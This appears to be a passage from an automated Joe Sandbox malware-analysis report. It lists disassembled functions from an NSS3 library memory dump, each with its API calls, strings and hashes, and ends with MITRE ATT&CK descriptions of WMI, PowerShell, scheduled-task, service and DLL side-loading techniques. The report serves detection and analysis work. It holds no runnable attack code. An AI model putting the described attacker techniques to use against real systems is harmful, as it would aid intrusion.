PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6C4C9003,?), ref: 6C51FD91

Part of subcall function 6C520BE0: malloc.MOZGLUE(6C518D2D,?,00000000,?), ref: 6C520BF8
Part of subcall function 6C520BE0: TlsGetValue.KERNEL32(6C518D2D,?,00000000,?), ref: 6C520C15

PORT_Alloc_Util.NSS3(A4686C52,?), ref: 6C51FDA2
memcpy.VCRUNTIME140(00000000,12D068C3,A4686C52,?,?), ref: 6C51FDC4
free.MOZGLUE(00000000,?,?), ref: 6C51FDD1

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: Alloc_Util$Valuefreemallocmemcpy
String ID:
API String ID: 2335489644-0
Opcode ID: 66385dc0a873c1e76c4292750108931d030f279e57da74c713e53b191333f5b5
Instruction ID: 879b8c98aaeb1a6b16b7aa0ac1de36be00cc7fac638c91400ac891172a204261
Opcode Fuzzy Hash: 66385dc0a873c1e76c4292750108931d030f279e57da74c713e53b191333f5b5
Instruction Fuzzy Hash: 7FF0C8F5615202ABFB004B55DC95927B798EF84299B148135ED098AF41E721DC15C7E2

Function 6C5CF990 Relevance: 6.0, APIs: 4, Instructions: 42COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,?,?,6C5D2238), ref: 6C5CF9C7
free.MOZGLUE(?), ref: 6C5CF9CD
PR_Lock.NSS3(?,?,?,6C5D2238), ref: 6C5CF9DC
PR_Unlock.NSS3 ref: 6C5CFA16

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: free$LockUnlock
String ID:
API String ID: 628975992-0
Opcode ID: 6f637f38ed986becc12d517c27b8aaaa40bec2646431db945dde3a37f9bcac53
Instruction ID: 5181496e8afc318f6d0e9bd4623c830b5d050cfd805da337ed8ec3359e88b216
Opcode Fuzzy Hash: 6f637f38ed986becc12d517c27b8aaaa40bec2646431db945dde3a37f9bcac53
Instruction Fuzzy Hash: 0B01B1703051059BDF009F2ACC4255577F4AF82358B144179D40E8BAA0D737DC05CF9A

Function 6C5DCC50 Relevance: 6.0, APIs: 4, Instructions: 29COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?), ref: 6C5DCC61
free.MOZGLUE ref: 6C5DCC6E
DeleteCriticalSection.KERNEL32(?), ref: 6C5DCC80
free.MOZGLUE(?), ref: 6C5DCC87

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: CriticalDeleteSectionfree
String ID:
API String ID: 2988086103-0
Opcode ID: ba84ff931be00b2fd6de63b364d928b7f179909954acc3388302fd4e178369b5
Instruction ID: 0813b451535ac52f3ea7e97036f2716a4994c7537d344ca1fb632cb6b4073956
Opcode Fuzzy Hash: ba84ff931be00b2fd6de63b364d928b7f179909954acc3388302fd4e178369b5
Instruction Fuzzy Hash: A5E03076700609ABCB10EFA9DC85C8A77ACEE492717150526E692C3700D232F905CBA5

Function 6C4B9DC0 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 220COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3 ref: 6C4B9E1F

Part of subcall function 6C4713C0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,6C442352,?,00000000,?,?), ref: 6C471413
Part of subcall function 6C4713C0: memcpy.VCRUNTIME140(00000000,R#Dl,00000002,?,?,?,?,6C442352,?,00000000,?,?), ref: 6C4714C0

Strings

LIKE or GLOB pattern too complex, xrefs: 6C4BA006
ESCAPE expression must be a single character, xrefs: 6C4B9F78

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: memcpysqlite3_value_textstrlen
String ID: ESCAPE expression must be a single character$LIKE or GLOB pattern too complex
API String ID: 2453365862-264706735
Opcode ID: fbfee03aa785324e90310ed5d4b1f34872e839e1179af768f6109bfdc4590b41
Instruction ID: 798e57c888e7a69498bb39e1a84e73235f580d176f0dd6246c3c98499ebf4d2f
Opcode Fuzzy Hash: fbfee03aa785324e90310ed5d4b1f34872e839e1179af768f6109bfdc4590b41
Instruction Fuzzy Hash: 3F812D70A046514BD700CF39C490FA9B7F2AF65329F28865DD8A4ABBD1D737D846C7A0

Function 6C535860 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 140COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFD037,00000000), ref: 6C5359C8

Part of subcall function 6C537EE0: PR_SetError.NSS3(00000000,00000000,00000002,?,?), ref: 6C537F30

PR_SetError.NSS3(FFFFD0AE,00000000), ref: 6C5359E9

Part of subcall function 6C53AA40: PR_SetError.NSS3(00000000,00000000,00000008,?,?), ref: 6C53AAA2

Strings

n]l, xrefs: 6C535963

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: Error
String ID: n]l
API String ID: 2619118453-3929973346
Opcode ID: cad3d17d0aa4c45c04c03b04d9caaa9cb100e685ffdc00284a38cc4e859072ac
Instruction ID: 7c282af51b0e64a4f146fe66cd498e3683f4434d503da54474ed8902031ebe76
Opcode Fuzzy Hash: cad3d17d0aa4c45c04c03b04d9caaa9cb100e685ffdc00284a38cc4e859072ac
Instruction Fuzzy Hash: 2141B472904321DFD710DF14DC81B5673A8AB44328F856629FD4D9B682F730E908C6A1

Function 6C514D10 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 106COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6C514D57
PR_snprintf.NSS3(?,00000008,%d.%d,?,?), ref: 6C514DE6

Strings

%d.%d, xrefs: 6C514DDE

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: ErrorR_snprintf
String ID: %d.%d
API String ID: 2298970422-3954714993
Opcode ID: 4b95e3fb0778a1ff5a803c8389aeeec137424022abb460322cfc12ed86235c8b
Instruction ID: 6ebe18b2c4f10b7e22f5d7f0147a73800579a5026c16ac45296ba9a376034a57
Opcode Fuzzy Hash: 4b95e3fb0778a1ff5a803c8389aeeec137424022abb460322cfc12ed86235c8b
Instruction Fuzzy Hash: A031D8B2D082186BFF109BA19C09FFF7768EF80308F050429ED559BB81EB709905CBA1

Function 6C5B0900 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 56COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3(?), ref: 6C5B0917
sqlite3_value_text.NSS3(?), ref: 6C5B0923

Part of subcall function 6C4713C0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,6C442352,?,00000000,?,?), ref: 6C471413
Part of subcall function 6C4713C0: memcpy.VCRUNTIME140(00000000,R#Dl,00000002,?,?,?,?,6C442352,?,00000000,?,?), ref: 6C4714C0

Strings

error in %s %s%s%s: %s, xrefs: 6C5B0944

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: sqlite3_value_text$memcpystrlen
String ID: error in %s %s%s%s: %s
API String ID: 1937290486-1007276823
Opcode ID: ed0a36c64a1d4dd057f3faa0b85fea9399396aa6141bf3e1b66a7aca92656634
Instruction ID: a0f29f9941343541b881ccfd65826752279625b61bdf79cfa3d571c8aad80f7c
Opcode Fuzzy Hash: ed0a36c64a1d4dd057f3faa0b85fea9399396aa6141bf3e1b66a7aca92656634
Instruction Fuzzy Hash: 0B0148B6E001445BEB009E58EC01DBF7B75EFC0218F144029ED486B701F732A92487F2

Function 6C534CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3('8Sl,00000000,00000000,?,?,6C533827,?,00000000), ref: 6C534D0A

Part of subcall function 6C520840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C5208B4

SECITEM_ItemsAreEqual_Util.NSS3(00000000,00000000,00000000), ref: 6C534D22

Part of subcall function 6C51FD30: memcmp.VCRUNTIME140(?,AF840FC0,8B000000,?,6C4C1A3E,00000048,00000054), ref: 6C51FD56

Strings

'8Sl, xrefs: 6C534D07

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: Util$Equal_ErrorFindItemsTag_memcmp
String ID: '8Sl
API String ID: 1521942269-3813400407
Opcode ID: 14028aa1c084b1134f31e0fe545c68cf4cce508ec734b29011f619df16d7203e
Instruction ID: 21fd955f98ac923abbf9364f09f9e649f6afdadc1b0ab1bcf820736fe965740c
Opcode Fuzzy Hash: 14028aa1c084b1134f31e0fe545c68cf4cce508ec734b29011f619df16d7203e
Instruction Fuzzy Hash: 13F04972601234A7EB524D6AAC81A433BDCDB416BDF141A71ED2CCF781FB32CC1086A1

Function 6C55AF70 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

PR_GetUniqueIdentity.NSS3(SSL), ref: 6C55AF78

Part of subcall function 6C4BACC0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C4BACE2
Part of subcall function 6C4BACC0: malloc.MOZGLUE(00000001), ref: 6C4BACEC
Part of subcall function 6C4BACC0: strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C4BAD02
Part of subcall function 6C4BACC0: TlsGetValue.KERNEL32 ref: 6C4BAD3C
Part of subcall function 6C4BACC0: calloc.MOZGLUE(00000001,?), ref: 6C4BAD8C
Part of subcall function 6C4BACC0: PR_Unlock.NSS3 ref: 6C4BADC0
Part of subcall function 6C4BACC0: PR_Unlock.NSS3 ref: 6C4BAE8C
Part of subcall function 6C4BACC0: free.MOZGLUE(?), ref: 6C4BAEAB

memcpy.VCRUNTIME140(6C623084,6C6202AC,00000090), ref: 6C55AF94

Strings

SSL, xrefs: 6C55AF73

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: Unlock$IdentityUniqueValuecallocfreemallocmemcpystrcpystrlen
String ID: SSL
API String ID: 2424436289-2135378647
Opcode ID: f1045641224af6a87fcf807d28f6ed97758c90fa4cb7f748788c17a321052c83
Instruction ID: 87714b1781b038fa3527eabc6c8155f9ee9e6d46060227b1ee21bc754de50ea9
Opcode Fuzzy Hash: f1045641224af6a87fcf807d28f6ed97758c90fa4cb7f748788c17a321052c83
Instruction Fuzzy Hash: 9F2173B2705A48DACB10EF529C87722FAFAB306744F90502AC1050BB24D7396024DFFD

Function 6C4CC810 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36timeCOMMON

Download Yara Rule

APIs

CERT_CheckCertValidTimes.NSS3(?,00000000,-00000078,00000000,?,00000000,]Ll,6C4C6499,-00000078,00000000,?,?,]Ll,?,6C4C5DEF,?), ref: 6C4CC821

Part of subcall function 6C4C1DD0: DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6C4C1E0B
Part of subcall function 6C4C1DD0: DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6C4C1E24

SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,00000000,?,?,]Ll,?,6C4C5DEF,?,?,?), ref: 6C4CC857

Strings

]Ll, xrefs: 6C4CC810

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: Choice_DecodeTimeUtil$CertCheckDestroyPublicTimesValid
String ID: ]Ll
API String ID: 221937774-1475580399
Opcode ID: 8b4586f9bf7fe022698438743c8cc7a435e02df9751e3daf09b6801118977999
Instruction ID: 16cd99d99ccf4c5f9e6367b8c4c40b0691aa2604e90697a47046f8327381d6bd
Opcode Fuzzy Hash: 8b4586f9bf7fe022698438743c8cc7a435e02df9751e3daf09b6801118977999
Instruction Fuzzy Hash: B3F0827AB0051467EF01A9656C04EBB36599B8125AF080035FE04D6761FB26D92583F6

Function 6C4B0F00 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16COMMON

Download Yara Rule

APIs

PR_GetPageSize.NSS3(6C4B0936,FFFFE8AE,?,6C4416B7,00000000,?,6C4B0936,00000000,?,6C44204A), ref: 6C4B0F1B

Part of subcall function 6C4B1370: GetSystemInfo.KERNEL32(?,?,?,?,6C4B0936,?,6C4B0F20,6C4B0936,FFFFE8AE,?,6C4416B7,00000000,?,6C4B0936,00000000), ref: 6C4B138F

PR_NewLogModule.NSS3(clock,6C4B0936,FFFFE8AE,?,6C4416B7,00000000,?,6C4B0936,00000000,?,6C44204A), ref: 6C4B0F25

Part of subcall function 6C4B1110: calloc.MOZGLUE(00000001,0000000C,?,?,?,?,?,?,?,?,?,?,6C4B0936,00000001,00000040), ref: 6C4B1130
Part of subcall function 6C4B1110: strdup.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,6C4B0936,00000001,00000040), ref: 6C4B1142
Part of subcall function 6C4B1110: PR_GetEnvSecure.NSS3(NSPR_LOG_MODULES,?,?,?,?,?,?,?,?,?,?,?,?,?,6C4B0936,00000001), ref: 6C4B1167

Strings

clock, xrefs: 6C4B0F20

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: InfoModulePageSecureSizeSystemcallocstrdup
String ID: clock
API String ID: 536403800-3195780754
Opcode ID: a33756a5a91f8780ca46a416cd26cc94c1efcc53c6f59f6e0b79d04169e4fb66
Instruction ID: 9d17ced1700b84720fb4317e9acb41c3bee1474a04e259abe0cb5fad6698b219
Opcode Fuzzy Hash: a33756a5a91f8780ca46a416cd26cc94c1efcc53c6f59f6e0b79d04169e4fb66
Instruction Fuzzy Hash: 7DD0223120018411C310A2579C85F96F3BCCBC327AF00083AE01C51E000B3860EAD2BD

Function 6C520DB0 Relevance: 5.1, APIs: 4, Instructions: 97COMMON

Download Yara Rule

APIs

calloc.MOZGLUE ref: 6C520DF5
TlsGetValue.KERNEL32 ref: 6C520E2D
TlsGetValue.KERNEL32 ref: 6C520E58
TlsGetValue.KERNEL32 ref: 6C520E84

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: Value$calloc
String ID:
API String ID: 3339632435-0
Opcode ID: 4404819234f6cb68aebcea3126e3834b10a62c2ec257c950bd12630145610d36
Instruction ID: f5856073bcf437a3458e1a19a86df955c316d074bfe72579b745e3d77a485448
Opcode Fuzzy Hash: 4404819234f6cb68aebcea3126e3834b10a62c2ec257c950bd12630145610d36
Instruction Fuzzy Hash: 8631E5B0606384CBDB00AF3DCD95A597BF4BF85309F014A2ED89887A90DB38D4C5CB85

Function 6C520F10 Relevance: 5.1, APIs: 4, Instructions: 52stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6C4C2AF5,?,?,?,?,?,6C4C0A1B,00000000), ref: 6C520F1A
malloc.MOZGLUE(00000001), ref: 6C520F30
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C520F42
TlsGetValue.KERNEL32 ref: 6C520F5B

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: Valuemallocmemcpystrlen
String ID:
API String ID: 2332725481-0
Opcode ID: b59b0c5a6dfbc3a8e809a032fe1a3790cf19ad44bbb1b4e5e10cfa93247991c7
Instruction ID: fd12d96bc5c43dd736efc852635d069a8f82686b99576d6a89662df65e6ae7b8
Opcode Fuzzy Hash: b59b0c5a6dfbc3a8e809a032fe1a3790cf19ad44bbb1b4e5e10cfa93247991c7
Instruction Fuzzy Hash: 810128B1E412809BE720673E8D95966BBECEFC2259F010537ED18C2A61E735D805C2E6

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

